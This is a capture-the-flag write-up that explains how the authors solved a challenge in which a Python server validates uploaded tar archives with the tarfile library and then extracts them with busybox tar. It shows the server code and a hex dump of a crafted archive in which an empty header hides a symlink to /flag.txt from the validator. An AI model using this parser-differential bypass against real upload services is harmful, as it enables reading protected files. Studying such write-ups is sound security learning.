Flag Reader = 23 solves
I solved this challenge in collaboration with nyly, under the World Wide Union team (the newly created team is a merge between a bunch of teams wordwide), and we got the 17 rank, which is not bad for a start 🤷♂️.
The Challenge
The challenge idea was that we can upload a .tar
file and the server after checking it, will extract it and read the content of flag.txt
file in that folder, if it survives the checking part, the python server code is fairly short so here it is:
docker-compose.py
services:
chall:
build: .
image: flag_reader
privileged: true
ports:
- "22222:5000"
volumes:
- ./flag.txt:/srv/flag.txt # you may want to create a flag.txt if it doesn't exist
Dockerfile
FROM python:3.12-alpine as base
WORKDIR /app
COPY server.py run
FROM pwn.red/jail
COPY --from=base / /srv
ENV JAIL_TIME=15 JAIL_MEM=20M JAIL_TMP_SIZE=1M
server.py
#!/usr/bin/env python3
from base64 import b64decode
from tempfile import TemporaryDirectory
import tarfile, subprocess
from pathlib import Path
def check_tar(tar):
for member in tar.getmembers():
if not member.isfile(): # only files are allowed
return False
if "flag.txt" in member.name: # no flag.txt allowed
return False
return True
if __name__ == "__main__":
with TemporaryDirectory() as tmpdir:
tarbin = b64decode(input("Enter a base64 encoded tar: "))
uploadTar = Path(tmpdir) / "upload.tar"
uploadTar.write_bytes(tarbin)
with tarfile.open(uploadTar, "r:") as tar:
if not check_tar(tar):
print("Invalid tar")
exit(1)
extractDir = Path(tmpdir) / "extract"
extractDir.mkdir()
subprocess.run(
["tar", "-xf", uploadTar, "-C", extractDir],
check=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
print("Extracted files:")
for f in extractDir.iterdir():
print(f.name)
flag = extractDir / "flag.txt"
if flag.exists():
print(flag.read_text())
So the idea is fairly clear, we need to pack a symlink file that points to /flag.txt
(not /srv/flag.txt
!) and try to get it through this strict check:
def check_tar(tar):
for member in tar.getmembers():
if not member.isfile(): # only files are allowed
return False
if "flag.txt" in member.name: # no flag.txt allowed
return False
return True
Discovery
After reading a bunch of resources of how a .tar
file is structured (see for example, and getting the base ready, we started scouting the tarfile source code Lib/tarfile.py, and we were noticing some weird behavior: when an error happens (for example checksum fail) happens for one the files, tarfile silently stops on that file and return only the preceding files, and there was in fact an open issue for this!, and for this unpreferred behavior the ignore_zeros
needed to be set to zero, which was not clearly declared afaik, here is code snippet responsible for this from the source code:
But this error was not tolerated by the busybox tar
binary, which made us think if there is door for conflict in handling another type of errors, one that would be silenced by tarfile
library, and that would be ignored by busybox tar
binary and process the remaining files, and we didn’t actually need to look that much further, as that the win error was just above the checksum
error handling:
Yes! the EOFHeaderError
was the key, we found that the tarfile
library have the same silenced stop, and that the busybox tar
didn’t consider and continued extracting the other following files.
So the solve was to create an archive file that has this format:
+-------------------------------+
| Innocent file (e.g hello.txt) |
| with its header and content |
| |
| The confuse file with a 512 |
| bytes empty header and no |
| body |
| |
| The pwn file (symlink to |
| /flag.txt) |
+-------------------------------+
here is the tar file in hex:
Hex View 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 68 65 6C 6C 6F 00 00 00 00 00 00 00 00 00 00 00 hello...........
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060 00 00 00 00 30 30 30 30 36 34 34 00 30 30 30 31 ....0000644.0001
00000070 37 35 30 00 30 30 30 31 37 35 30 00 30 30 30 30 750.0001750.0000
00000080 30 30 30 30 30 30 36 00 31 34 36 34 34 37 35 31 0000006.14644751
00000090 31 32 37 00 30 31 30 36 36 33 00 20 30 00 00 00 127.010663. 0...
000000A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100 00 75 73 74 61 72 20 20 00 6E 79 6C 79 00 00 00 .ustar .nyly...
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120 00 00 00 00 00 00 00 00 00 6E 79 6C 79 00 00 00 .........nyly...
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200 68 65 6C 6C 6F 0A 00 00 00 00 00 00 00 00 00 00 hello...........
00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000004F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000005F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000600 66 6C 61 67 2E 74 78 74 00 00 00 00 00 00 00 00 flag.txt........
00000610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000660 00 00 00 00 30 30 30 30 37 37 37 00 30 30 30 31 ....0000777.0001
00000670 37 35 30 00 30 30 30 31 37 35 30 00 30 30 30 30 750.0001750.0000
00000680 30 30 30 30 30 30 30 00 31 34 36 34 34 37 35 31 0000000.14644751
00000690 33 32 35 00 30 31 33 30 34 31 00 20 32 2F 66 6C 325.013041. 2/fl
000006A0 61 67 2E 74 78 74 00 00 00 00 00 00 00 00 00 00 ag.txt..........
000006B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000006C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000006D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000006E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000006F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000700 00 75 73 74 61 72 20 20 00 6E 79 6C 79 00 00 00 .ustar .nyly...
00000710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000720 00 00 00 00 00 00 00 00 00 6E 79 6C 79 00 00 00 .........nyly...
00000730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000007A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000007B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000007C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
etc...
sending this to server, we get the flag 🏴!
Other approaches
Some other approaches we though of during the ctf, is confusing tarfile
library by giving it a .tar.gz
compressed file, and decompressing it afterwards with the tar -xf
command in the server, it would be very intersting to have a solution like that, maybe if I have time I’ll try and see if that’s possible, for the time being, happy hacking!